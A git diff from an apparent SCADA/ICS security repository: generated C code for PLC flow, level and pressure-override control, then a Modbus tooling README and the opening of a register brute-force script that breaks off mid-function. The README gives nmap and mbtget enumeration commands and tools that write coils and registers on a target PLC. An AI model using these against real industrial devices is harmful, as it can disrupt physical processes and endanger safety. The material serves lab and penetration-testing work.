__SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + 